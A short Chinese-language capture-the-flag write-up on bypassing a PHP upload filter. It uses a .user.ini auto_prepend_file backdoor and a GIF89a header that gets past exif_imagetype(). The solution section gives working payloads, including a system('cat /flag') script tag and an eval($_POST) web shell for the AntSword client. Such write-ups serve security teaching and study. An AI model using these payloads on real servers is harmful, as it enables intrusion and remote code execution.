0x01 知识点
参考文章:user.ini文件构成的PHP后门
1、
.user.ini是一个能被动态加载的ini文件,和php.ini不同的是,修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
Php配置项中有两个比较有意思的项(下图第一、四个):
auto_prepend_file:指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数
auto_append_file:指定一个文件在文件后面包含。
使用方法很简单,直接写在.user.ini中:
auto_prepend_file=01.gif
我们可以很容易地借助.user.ini文件来构造一个“后门”。
2、绕过exif_imagetype()
在文件的前面添加GIF89a
0x02题解
上传.user.ini让所有php文件都“自动”包含某个文件
GIF89a
auto_prepend_file=a.jpg
上传a.jpg
GIF89a
<script language='php'>system('cat /flag');</script>
(因为要求上传的文件中不能包含<?
所以不能用一般的一句话木马)
当然也可以
GIF89a
<script language='php'>eval($_POST['a']);</script>
然后用蚁剑连接